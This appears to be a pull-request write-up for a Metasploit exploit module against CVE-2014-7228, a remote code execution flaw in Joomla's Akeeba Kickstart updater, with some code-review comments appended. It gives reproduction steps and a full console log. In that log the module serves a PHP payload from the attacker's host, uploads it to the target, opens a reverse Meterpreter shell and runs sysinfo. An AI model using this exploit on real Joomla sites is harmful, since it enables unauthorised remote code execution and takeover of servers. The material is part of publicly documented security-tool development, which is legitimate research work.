CVE-2014-7228 Joomla/Akeeba Kickstart RCE

# Description
This module exploits a vulnerability found in Joomla! by Johannes Dahse. It affects versions through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4 versions. The vulnerability more specifically affects the Akeeba component, which is responsible for Joomla! updates. Nevertheless it is worth to note that this vulnerability is only present during the update of the Joomla! CMS.

# Links
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7228
http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html
https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html
http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/

# Reproduction
- [ ] Install Apache / Php / Mysql
- [ ] Install a vulnerable Joomla!
- [ ] Create the file administrator/components/com_joomlaupdate/restoration.php (the content doesn't matter, the file presence is enough to make akeeba think the software is updating)

# Test
Tested on Joomla! 3.3.4
```
2014-10-09 18:55:24 +0200 S:5 J:0 > use exploit/unix/webapp/joomla_akeeba_exec 
2014-10-09 18:55:25 +0200 S:5 J:0 exploit(joomla_akeeba_exec) > set TARGETURI  /joomla3.3.4
TARGETURI => /joomla3.3.4
2014-10-09 18:55:30 +0200 S:5 J:0 exploit(joomla_akeeba_exec) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
2014-10-09 18:55:34 +0200 S:5 J:0 exploit(joomla_akeeba_exec) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
2014-10-09 18:56:12 +0200 S:5 J:0 exploit(joomla_akeeba_exec) > run

[*] Started reverse handler on 192.168.56.1:4444 
[*] Creating archive with file MfJjoFyjFDlLrWo.php
[*] Starting up our web service on http://192.168.56.1:8080/Nctu3KE.zip ...
[*] Using URL: http://0.0.0.0:8080/Nctu3KE.zip
[*]  Local IP: http://192.70.106.83:8080/Nctu3KE.zip
[*] Sending our payload to 192.168.56.101:80
[*] Sending the ZIP archive to the server...
[*] Sending the ZIP archive to the server...
[*] Sending stage (40551 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:55794) at 2014-10-10 09:56:55 +0200
[+] Deleted MfJjoFyjFDlLrWo.php
[*] Server stopped.

meterpreter > sysinfo 
Computer    : debian
OS          : Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.54-2 i686
Meterpreter : php/php
```
Also, avoid not/and/or and instead use !/&&/||. Also, for simple

```
if !something
```
cases, use

```
unless something
```
Just don't use:

```
unless something
  blah
else # this is evil
  other_blah
end

-Josh

> On Oct 20, 2014, at 12:00, Juan Vazquez <notifications@github.com> wrote:
> 
> In modules/exploits/unix/webapp/joomla_akeeba_exec.rb:
> 
> > +      'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
> > +    })
> > +
> > +  end
> > +
> > +  def exploit
> > +    begin
> > +      Timeout.timeout(datastore['HTTPDELAY']) { super }
> > +    rescue Timeout::Error
> > +      # When the server stops due to our timeout, this is raised
> > +    end
> > +  end
> > +
> > +  # Handle incoming requests from the server
> > +  def on_request_uri(cli, request)
> > +    if (not @zip)
> Create the @zip in the exploit method before calling super, so you don't need to worry about that
> 
> —
> Reply to this email directly or view it on GitHub.